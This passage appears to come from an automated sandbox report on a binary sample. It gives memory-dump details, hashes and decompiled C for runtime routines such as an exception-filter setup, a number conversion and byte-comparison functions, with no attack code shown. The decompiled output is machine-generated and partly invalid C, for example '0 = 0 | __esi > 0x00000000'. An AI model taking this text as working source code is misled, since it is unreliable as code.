				return 0;
			}

0x0040dd4c
0x0040dd54

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000DD05), ref: 0040DD4C

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: af9aa76acc535c90122a579f9fa263bb8e35c72e1eeeba63b8458cbfc634e6e4
Instruction ID: c369a32adcb4fbeb3813452eb14d6133ef5a4f08a86a1ebb4960ea0eaef588f6
Opcode Fuzzy Hash: af9aa76acc535c90122a579f9fa263bb8e35c72e1eeeba63b8458cbfc634e6e4
Instruction Fuzzy Hash: 389002A06511405A8A0057B07C096456DD49ECC75275344756519D4098DA6481485919

Uniqueness

Uniqueness Score: -1.00%

Function 00420760 Relevance: 1.4, Instructions: 1445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2b4ae07c2b24e8c1a1843d2a943422d3e78b1da7bfeeaa94f224ff18a4ab9c4
Instruction ID: 82d4d3c0ad3759fd46e0b62f97bee05f7d511c8c482cac141dddd79c6c729369
Opcode Fuzzy Hash: a2b4ae07c2b24e8c1a1843d2a943422d3e78b1da7bfeeaa94f224ff18a4ab9c4
Instruction Fuzzy Hash: A6C25B6244F3D29FD7138B749C745E1BFB0AE2721471E05CBD8C18F1A3E2281A6AD766

Uniqueness

Uniqueness Score: -1.00%

Function 00414AAC Relevance: 1.4, Strings: 1, Instructions: 179
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 78%

			E00414AAC(char* _a4, intOrPtr _a8, unsigned int* _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				unsigned int _v20;
				signed int _v24;
				unsigned int _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t75;
				unsigned int* _t77;
				unsigned int _t80;
				unsigned int _t83;
				unsigned int _t84;
				unsigned int _t85;
				signed int _t87;
				signed int _t90;
				signed int _t100;
				signed int _t107;
				unsigned int _t108;
				unsigned int _t110;
				unsigned int _t111;
				signed int _t116;
				unsigned int _t118;
				unsigned int _t120;
				signed int _t122;
				intOrPtr _t123;
				unsigned int _t133;
				unsigned int _t135;
				unsigned int _t138;
				unsigned int _t145;
				void* _t146;
				unsigned int _t150;
				unsigned int _t151;
				signed int _t152;

				_t75 =  *0x43d2bc; // 0x708bd513
				_v8 = _t75 ^ _t152;
				_t77 = _a12;
				_t137 = 0;
				_v28 = 0x404e;
				 *_t77 = 0;
				_t77[1] = 0;
				_t77[2] = 0;
				if(_a8 <= 0) {
					L27:
					while(_t77[2] == _t137) {
						_t90 = _t77[1];
						_t77[2] = _t90 >> 0x10;
						_t116 =  *_t77;
						_t130 = _t116 >> 0x10;
						_t113 = _t116 << 0x10;
						_v28 = _v28 + 0xfff0;
						_t77[1] = _t90 << 0x00000010 | _t116 >> 0x00000010;
						 *_t77 = _t116 << 0x10;
					}
					if((_t77[2] & 0x00008000) != 0) {
						L30:
						_t77[2] = _v28;
						return E0040AF9A(_t77, 0x8000, _v8 ^ _t152, _t113, _t130, _t137);
					} else {
						goto L29;
					}
					do {
						L29:
						_t138 =  *_t77;
						_t130 = _t77[1];
						_v28 = _v28 + 0xffff;
						 *_t77 = _t138 + _t138;
						_t137 = _t130 + _t130 | _t138 >> 0x0000001f;
						_t113 = _t130 >> 0x1f;
						_t100 = _t77[2] + _t77[2] | _t130 >> 0x0000001f;
						_t77[1] = _t130 + _t130 | _t138 >> 0x0000001f;
						_t77[2] = _t100;
					} while ((0x00008000 & _t100) == 0);
					goto L30;
				} else {
					goto L1;
				}
				do {
					L1:
					_t118 =  *_t77;
					_t80 = _t77[1];
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t133 = _t118 + _t118;
					_t120 = _t80 + _t80 | _t118 >> 0x0000001f;
					_v24 = _t133;
					_v24 = _v24 & 0x00000000;
					_t107 = (_t77[2] + _t77[2] | _t80 >> 0x0000001f) + (_t77[2] + _t77[2] | _t80 >> 0x0000001f) | _t120 >> 0x0000001f;
					_t83 = _v20;
					_t145 = _t133 + _t133;
					_t122 = _t120 + _t120 | _t133 >> 0x0000001f;
					_t135 = _t145 + _t83;
					 *_t77 = _t145;
					_t77[1] = _t122;
					_t77[2] = _t107;
					if(_t135 < _t145 || _t135 < _t83) {
						_v24 = 1;
					}
					_t84 = 0;
					 *_t77 = _t135;
					if(_v24 != 0) {
						_t151 = _t122 + 1;
						if(_t151 < _t122 || _t151 < 1) {
							_t84 = 1;
						}
						_t77[1] = _t151;
						if(_t84 != 0) {
							_t77[2] = _t107 + 1;
						}
					}
					_t108 = _t77[1];
					_t123 = _v16;
					_t85 = _t108 + _t123;
					_t146 = 0;
					if(_t85 < _t108 || _t85 < _t123) {
						_t146 = 1;
					}
					_t77[1] = _t85;
					if(_t146 != 0) {
						_t77[2] = _t77[2] + 1;
					}
					_t77[2] = _t77[2] + _v12;
					_v24 = _v24 & 0x00000000;
					_t110 = _t135 + _t135;
					_t130 = _t85 + _t85 | _t135 >> 0x0000001f;
					_t87 = _t77[2] + _t77[2] | _t85 >> 0x0000001f;
					 *_t77 = _t110;
					_t77[1] = _t130;
					_t77[2] = _t87;
					_t113 =  *_a4;
					_t150 = _t110 + _t113;
					_v20 = _t113;
					if(_t150 < _t110 || _t150 < _t113) {
						_v24 = 1;
					}
					 *_t77 = _t150;
					if(_v24 != 0) {
						_t111 = _t130 + 1;
						if(_t111 < _t130 || _t111 < 1) {
							_t113 = 1;
						}
						_t77[1] = _t111;
						if(_t113 != 0) {
							_t77[2] = _t87 + 1;
						}
					}
					_a8 = _a8 - 1;
					_a4 = _a4 + 1;
				} while (_a8 > 0);
				_t137 = 0;
				goto L27;
			}

0x00414ab4
0x00414abb
0x00414abe
0x00414ac3
0x00414ac6
0x00414acd
0x00414acf
0x00414ad2
0x00414ad8
0x00000000
0x00414c24
0x00414bfe
0x00414c06
0x00414c09
0x00414c10
0x00414c15
0x00414c18
0x00414c1f
0x00414c22
0x00414c22
0x00414c31
0x00414c63
0x00414c67
0x00414c79
0x00000000
0x00000000
0x00000000
0x00414c33
0x00414c33
0x00414c33
0x00414c35
0x00414c38
0x00414c46
0x00414c4b
0x00414c52
0x00414c57
0x00414c59
0x00414c5c
0x00414c5f
0x00000000
0x00000000
0x00000000
0x00000000
0x00414ade
0x00414ade
0x00414ade
0x00414ae0
0x00414ae8
0x00414ae9
0x00414aea
0x00414af0
0x00414af6
0x00414b04
0x00414b09
0x00414b17
0x00414b19
0x00414b1c
0x00414b20
0x00414b22
0x00414b25
0x00414b27
0x00414b2a
0x00414b2f
0x00414b35
0x00414b35
0x00414b3c
0x00414b3e
0x00414b43
0x00414b45
0x00414b4a
0x00414b53
0x00414b53
0x00414b54
0x00414b59
0x00414b5c
0x00414b5c
0x00414b59
0x00414b5f
0x00414b62
0x00414b65
0x00414b68
0x00414b6c
0x00414b74
0x00414b74
0x00414b75
0x00414b7a
0x00414b7c
0x00414b7c
0x00414b82
0x00414b85
0x00414b89
0x00414b94
0x00414ba4
0x00414ba6
0x00414ba8
0x00414bab
0x00414bae
0x00414bb1
0x00414bb4
0x00414bb9
0x00414bbf
0x00414bbf
0x00414bca
0x00414bcc
0x00414bce
0x00414bd5
0x00414bde
0x00414bde
0x00414bdf
0x00414be4
0x00414be7
0x00414be7
0x00414be4
0x00414bea
0x00414bed
0x00414bf0
0x00414bfa
0x00000000

Strings

N@, xrefs: 00414AC6

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID:
String ID: N@
API String ID: 0-1509896676
Opcode ID: 5fb7695aa0090885b1c5bd5d9f4e652b15798ba5559cd9c1eea3f148a0ca42d6
Instruction ID: 87655cf66cadffb4429654c7f98627757cac08664b9874e488e546ac53df62df
Opcode Fuzzy Hash: 5fb7695aa0090885b1c5bd5d9f4e652b15798ba5559cd9c1eea3f148a0ca42d6
Instruction Fuzzy Hash: AA6170719052268FCB18CF49C5946AAF7B2FFC9300B1AC1AAD9096F366D774AD41CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 0040A59D Relevance: .4, Instructions: 384
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040A59D(void* __eax, void* __ecx) {
				void* _t196;
				signed int _t197;
				void* _t200;
				signed char _t206;
				signed char _t207;
				signed char _t208;
				signed char _t210;
				signed char _t211;
				signed int _t216;
				signed int _t316;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t330;
				void* _t332;
				void* _t334;
				void* _t337;
				void* _t339;
				void* _t341;
				void* _t344;
				void* _t346;
				void* _t348;
				void* _t351;
				void* _t353;
				void* _t355;
				void* _t358;
				void* _t360;
				void* _t362;

				_t200 = __ecx;
				_t196 = __eax;
				if( *((intOrPtr*)(__eax - 0x1f)) ==  *((intOrPtr*)(__ecx - 0x1f))) {
					_t316 = 0;
					L17:
					if(_t316 != 0) {
						goto L1;
					}
					_t206 =  *(_t196 - 0x1b);
					if(_t206 ==  *(_t200 - 0x1b)) {
						_t316 = 0;
						L28:
						if(_t316 != 0) {
							goto L1;
						}
						_t207 =  *(_t196 - 0x17);
						if(_t207 ==  *(_t200 - 0x17)) {
							_t316 = 0;
							L39:
							if(_t316 != 0) {
								goto L1;
							}
							_t208 =  *(_t196 - 0x13);
							if(_t208 ==  *(_t200 - 0x13)) {
								_t316 = 0;
								L50:
								if(_t316 != 0) {
									goto L1;
								}
								if( *(_t196 - 0xf) ==  *(_t200 - 0xf)) {
									_t316 = 0;
									L61:
									if(_t316 != 0) {
										goto L1;
									}
									_t210 =  *(_t196 - 0xb);
									if(_t210 ==  *(_t200 - 0xb)) {
										_t316 = 0;
										L72:
										if(_t316 != 0) {
											goto L1;
										}
										_t211 =  *(_t196 - 7);
										if(_t211 ==  *(_t200 - 7)) {
											_t316 = 0;
											L83:
											if(_t316 != 0) {
												goto L1;
											}
											_t319 = ( *(_t196 - 3) & 0x000000ff) - ( *(_t200 - 3) & 0x000000ff);
											if(_t319 == 0) {
												L5:
												_t321 = ( *(_t196 - 2) & 0x000000ff) - ( *(_t200 - 2) & 0x000000ff);
												if(_t321 == 0) {
													L3:
													_t197 = ( *(_t196 - 1) & 0x000000ff) - ( *(_t200 - 1) & 0x000000ff);
													if(_t197 != 0) {
														_t197 = (0 | _t197 > 0x00000000) + (0 | _t197 > 0x00000000) - 1;
													}
													L2:
													return _t197;
												}
												_t216 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
												if(_t216 != 0) {
													L86:
													_t197 = _t216;
													goto L2;
												} else {
													goto L3;
												}
											}
											_t216 = (0 | _t319 > 0x00000000) + (0 | _t319 > 0x00000000) - 1;
											if(_t216 == 0) {
												goto L5;
											}
											goto L86;
										}
										_t323 = (_t211 & 0x000000ff) - ( *(_t200 - 7) & 0x000000ff);
										if(_t323 == 0) {
											L76:
											_t325 = ( *(_t196 - 6) & 0x000000ff) - ( *(_t200 - 6) & 0x000000ff);
											if(_t325 == 0) {
												L78:
												_t327 = ( *(_t196 - 5) & 0x000000ff) - ( *(_t200 - 5) & 0x000000ff);
												if(_t327 == 0) {
													L80:
													_t316 = ( *(_t196 - 4) & 0x000000ff) - ( *(_t200 - 4) & 0x000000ff);
													if(_t316 != 0) {
														_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
													}
													goto L83;
												}
												_t316 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
												if(_t316 != 0) {
													goto L1;
												}
												goto L80;
											}
											_t316 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L78;
										}
										_t316 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L76;
									}
									_t330 = (_t210 & 0x000000ff) - ( *(_t200 - 0xb) & 0x000000ff);
									if(_t330 == 0) {
										L65:
										_t332 = ( *(_t196 - 0xa) & 0x000000ff) - ( *(_t200 - 0xa) & 0x000000ff);
										if(_t332 == 0) {
											L67:
											_t334 = ( *(_t196 - 9) & 0x000000ff) - ( *(_t200 - 9) & 0x000000ff);
											if(_t334 == 0) {
												L69:
												_t316 = ( *(_t196 - 8) & 0x000000ff) - ( *(_t200 - 8) & 0x000000ff);
												if(_t316 != 0) {
													_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
												}
												goto L72;
											}
											_t316 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L69;
										}
										_t316 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L67;
									}
									_t316 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L65;
								}
								_t337 = ( *(_t196 - 0xf) & 0x000000ff) - ( *(_t200 - 0xf) & 0x000000ff);
								if(_t337 == 0) {
									L54:
									_t339 = ( *(_t196 - 0xe) & 0x000000ff) - ( *(_t200 - 0xe) & 0x000000ff);
									if(_t339 == 0) {
										L56:
										_t341 = ( *(_t196 - 0xd) & 0x000000ff) - ( *(_t200 - 0xd) & 0x000000ff);
										if(_t341 == 0) {
											L58:
											_t316 = ( *(_t196 - 0xc) & 0x000000ff) - ( *(_t200 - 0xc) & 0x000000ff);
											if(_t316 != 0) {
												_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											}
											goto L61;
										}
										_t316 = (0 | _t341 > 0x00000000) + (0 | _t341 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L58;
									}
									_t316 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L56;
								}
								_t316 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L54;
							}
							_t344 = (_t208 & 0x000000ff) - ( *(_t200 - 0x13) & 0x000000ff);
							if(_t344 == 0) {
								L43:
								_t346 = ( *(_t196 - 0x12) & 0x000000ff) - ( *(_t200 - 0x12) & 0x000000ff);
								if(_t346 == 0) {
									L45:
									_t348 = ( *(_t196 - 0x11) & 0x000000ff) - ( *(_t200 - 0x11) & 0x000000ff);
									if(_t348 == 0) {
										L47:
										_t316 = ( *(_t196 - 0x10) & 0x000000ff) - ( *(_t200 - 0x10) & 0x000000ff);
										if(_t316 != 0) {
											_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
										}
										goto L50;
									}
									_t316 = (0 | _t348 > 0x00000000) + (0 | _t348 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L47;
								}
								_t316 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L45;
							}
							_t316 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L43;
						}
						_t351 = (_t207 & 0x000000ff) - ( *(_t200 - 0x17) & 0x000000ff);
						if(_t351 == 0) {
							L32:
							_t353 = ( *(_t196 - 0x16) & 0x000000ff) - ( *(_t200 - 0x16) & 0x000000ff);
							if(_t353 == 0) {
								L34:
								_t355 = ( *(_t196 - 0x15) & 0x000000ff) - ( *(_t200 - 0x15) & 0x000000ff);
								if(_t355 == 0) {
									L36:
									_t316 = ( *(_t196 - 0x14) & 0x000000ff) - ( *(_t200 - 0x14) & 0x000000ff);
									if(_t316 != 0) {
										_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
									}
									goto L39;
								}
								_t316 = (0 | _t355 > 0x00000000) + (0 | _t355 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L36;
							}
							_t316 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L34;
						}
						_t316 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L32;
					}
					_t358 = (_t206 & 0x000000ff) - ( *(_t200 - 0x1b) & 0x000000ff);
					if(_t358 == 0) {
						L21:
						_t360 = ( *(_t196 - 0x1a) & 0x000000ff) - ( *(_t200 - 0x1a) & 0x000000ff);
						if(_t360 == 0) {
							L23:
							_t362 = ( *(_t196 - 0x19) & 0x000000ff) - ( *(_t200 - 0x19) & 0x000000ff);
							if(_t362 == 0) {
								L25:
								_t316 = ( *(_t196 - 0x18) & 0x000000ff) - ( *(_t200 - 0x18) & 0x000000ff);
								if(_t316 != 0) {
									_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
								}
								goto L28;
							}
							_t316 = (0 | _t362 > 0x00000000) + (0 | _t362 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L25;
						}
						_t316 = (0 | _t360 > 0x00000000) + (0 | _t360 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L23;
					}
					_t316 = (0 | _t358 > 0x00000000) + (0 | _t358 > 0x00000000) - 1;
					if(_t316 != 0) {
						goto L1;
					}
					goto L21;
				} else {
					__edx =  *(__ecx - 0x1f) & 0x000000ff;
					__esi =  *(__eax - 0x1f) & 0x000000ff;
					__esi = ( *(__eax - 0x1f) & 0x000000ff) - ( *(__ecx - 0x1f) & 0x000000ff);
					if(__esi == 0) {
						L10:
						__esi =  *(__eax - 0x1e) & 0x000000ff;
						__edx =  *(__ecx - 0x1e) & 0x000000ff;
						__esi = ( *(__eax - 0x1e) & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
						if(__esi == 0) {
							L12:
							__esi =  *(__eax - 0x1d) & 0x000000ff;
							__edx =  *(__ecx - 0x1d) & 0x000000ff;
							__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
							if(__esi == 0) {
								L14:
								__esi =  *(__eax - 0x1c) & 0x000000ff;
								__edx =  *(__ecx - 0x1c) & 0x000000ff;
								__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L17;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L14;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L12;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L10;
				}
				L1:
				_t197 = _t316;
				goto L2;
			}

0x0040a59d
0x0040a59d
0x0040a5a3
0x0040a623
0x0040a625
0x0040a627
0x00000000
0x00000000
0x0040a62d
0x0040a633
0x0040a6b2
0x0040a6b4
0x0040a6b6
0x00000000
0x00000000
0x0040a6bc
0x0040a6c2
0x0040a741
0x0040a743
0x0040a745
0x00000000
0x00000000
0x0040a74b
0x0040a751
0x0040a7d0
0x0040a7d2
0x0040a7d4
0x00000000
0x00000000
0x0040a7e0
0x0040a860
0x0040a862
0x0040a864
0x00000000
0x00000000
0x0040a86a
0x0040a870
0x0040a8ef
0x0040a8f1
0x0040a8f3
0x00000000
0x00000000
0x0040a8f9
0x0040a8ff
0x0040a97e
0x0040a980
0x0040a982
0x00000000
0x00000000
0x0040a990
0x0040a992
0x0040a575
0x0040a57d
0x0040a57f
0x0040a15b
0x0040a163
0x0040a165
0x0040a176
0x0040a176
0x00409d6b
0x0040aac7
0x0040aac7
0x0040a58c
0x0040a592
0x0040a9ab
0x0040a9ab
0x00000000
0x0040a598
0x00000000
0x0040a598
0x0040a592
0x0040a99f
0x0040a9a5
0x00000000
0x00000000
0x00000000
0x0040a9a5
0x0040a908
0x0040a90a
0x0040a921
0x0040a929
0x0040a92b
0x0040a942
0x0040a94a
0x0040a94c
0x0040a963
0x0040a96b
0x0040a96d
0x0040a97a
0x0040a97a
0x00000000
0x0040a96d
0x0040a959
0x0040a95d
0x00000000
0x00000000
0x00000000
0x0040a95d
0x0040a938
0x0040a93c
0x00000000
0x00000000
0x00000000
0x0040a93c
0x0040a917
0x0040a91b
0x00000000
0x00000000
0x00000000
0x0040a91b
0x0040a879
0x0040a87b
0x0040a892
0x0040a89a
0x0040a89c
0x0040a8b3
0x0040a8bb
0x0040a8bd
0x0040a8d4
0x0040a8dc
0x0040a8de
0x0040a8eb
0x0040a8eb
0x00000000
0x0040a8de
0x0040a8ca
0x0040a8ce
0x00000000
0x00000000
0x00000000
0x0040a8ce
0x0040a8a9
0x0040a8ad
0x00000000
0x00000000
0x00000000
0x0040a8ad
0x0040a888
0x0040a88c
0x00000000
0x00000000
0x00000000
0x0040a88c
0x0040a7ea
0x0040a7ec
0x0040a803
0x0040a80b
0x0040a80d
0x0040a824
0x0040a82c
0x0040a82e
0x0040a845
0x0040a84d
0x0040a84f
0x0040a85c
0x0040a85c
0x00000000
0x0040a84f
0x0040a83b
0x0040a83f
0x00000000
0x00000000
0x00000000
0x0040a83f
0x0040a81a
0x0040a81e
0x00000000
0x00000000
0x00000000
0x0040a81e
0x0040a7f9
0x0040a7fd
0x00000000
0x00000000
0x00000000
0x0040a7fd
0x0040a75a
0x0040a75c
0x0040a773
0x0040a77b
0x0040a77d
0x0040a794
0x0040a79c
0x0040a79e
0x0040a7b5
0x0040a7bd
0x0040a7bf
0x0040a7cc
0x0040a7cc
0x00000000
0x0040a7bf
0x0040a7ab
0x0040a7af
0x00000000
0x00000000
0x00000000
0x0040a7af
0x0040a78a
0x0040a78e
0x00000000
0x00000000
0x00000000
0x0040a78e
0x0040a769
0x0040a76d
0x00000000
0x00000000
0x00000000
0x0040a76d
0x0040a6cb
0x0040a6cd
0x0040a6e4
0x0040a6ec
0x0040a6ee
0x0040a705
0x0040a70d
0x0040a70f
0x0040a726
0x0040a72e
0x0040a730
0x0040a73d
0x0040a73d
0x00000000
0x0040a730
0x0040a71c
0x0040a720
0x00000000
0x00000000
0x00000000
0x0040a720
0x0040a6fb
0x0040a6ff
0x00000000
0x00000000
0x00000000
0x0040a6ff
0x0040a6da
0x0040a6de
0x00000000
0x00000000
0x00000000
0x0040a6de
0x0040a63c
0x0040a63e
0x0040a655
0x0040a65d
0x0040a65f
0x0040a676
0x0040a67e
0x0040a680
0x0040a697
0x0040a69f
0x0040a6a1
0x0040a6ae
0x0040a6ae
0x00000000
0x0040a6a1
0x0040a68d
0x0040a691
0x00000000
0x00000000
0x00000000
0x0040a691
0x0040a66c
0x0040a670
0x00000000
0x00000000
0x00000000
0x0040a670
0x0040a64b
0x0040a64f
0x00000000
0x00000000
0x00000000
0x0040a5a5
0x0040a5a5
0x0040a5a9
0x0040a5ad
0x0040a5af
0x0040a5c6
0x0040a5c6
0x0040a5ca
0x0040a5ce
0x0040a5d0
0x0040a5e7
0x0040a5e7
0x0040a5eb
0x0040a5ef
0x0040a5f1
0x0040a608
0x0040a608
0x0040a60c
0x0040a610
0x0040a612
0x0040a618
0x0040a61b
0x0040a61f
0x0040a61f
0x00000000
0x0040a612
0x0040a5f7
0x0040a5fa
0x0040a5fe
0x0040a602
0x00000000
0x00000000
0x00000000
0x0040a602
0x0040a5d6
0x0040a5d9
0x0040a5dd
0x0040a5e1
0x00000000
0x00000000
0x00000000
0x0040a5e1
0x0040a5b5
0x0040a5b8
0x0040a5bc
0x0040a5c0
0x00000000
0x00000000
0x00000000
0x0040a5c0
0x00409996
0x00409996
0x00000000

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 4e18f4f1428cdd36acfc39fbac144f86b54c6497c1be80b142ea89790ff5754d
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: C0D15CB3C0AAB30AC735812E415852BEAA26FD164031EC7F69CD43F3CE923A9D1596D5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A17D Relevance: .4, Instructions: 378
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040A17D(void* __eax, void* __ecx) {
				void* _t191;
				signed int _t192;
				void* _t195;
				signed char _t201;
				signed char _t202;
				signed char _t203;
				signed char _t204;
				signed char _t206;
				signed int _t211;
				signed int _t309;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t328;
				void* _t330;
				void* _t332;
				void* _t335;
				void* _t337;
				void* _t339;
				void* _t342;
				void* _t344;
				void* _t346;
				void* _t349;
				void* _t351;
				void* _t353;

				_t195 = __ecx;
				_t191 = __eax;
				if( *((intOrPtr*)(__eax - 0x1e)) ==  *((intOrPtr*)(__ecx - 0x1e))) {
					_t309 = 0;
					L15:
					if(_t309 != 0) {
						goto L1;
					}
					_t201 =  *(_t191 - 0x1a);
					if(_t201 ==  *(_t195 - 0x1a)) {
						_t309 = 0;
						L26:
						if(_t309 != 0) {
							goto L1;
						}
						_t202 =  *(_t191 - 0x16);
						if(_t202 ==  *(_t195 - 0x16)) {
							_t309 = 0;
							L37:
							if(_t309 != 0) {
								goto L1;
							}
							_t203 =  *(_t191 - 0x12);
							if(_t203 ==  *(_t195 - 0x12)) {
								_t309 = 0;
								L48:
								if(_t309 != 0) {
									goto L1;
								}
								_t204 =  *(_t191 - 0xe);
								if(_t204 ==  *(_t195 - 0xe)) {
									_t309 = 0;
									L59:
									if(_t309 != 0) {
										goto L1;
									}
									if( *(_t191 - 0xa) ==  *(_t195 - 0xa)) {
										_t309 = 0;
										L70:
										if(_t309 != 0) {
											goto L1;
										}
										_t206 =  *(_t191 - 6);
										if(_t206 ==  *(_t195 - 6)) {
											_t309 = 0;
											L81:
											if(_t309 != 0) {
												goto L1;
											}
											if( *(_t191 - 2) ==  *(_t195 - 2)) {
												_t192 = 0;
												L3:
												return _t192;
											}
											_t312 = ( *(_t191 - 2) & 0x000000ff) - ( *(_t195 - 2) & 0x000000ff);
											if(_t312 == 0) {
												L4:
												_t192 = ( *(_t191 - 1) & 0x000000ff) - ( *(_t195 - 1) & 0x000000ff);
												if(_t192 != 0) {
													_t192 = (0 | _t192 > 0x00000000) + (0 | _t192 > 0x00000000) - 1;
												}
												goto L3;
											}
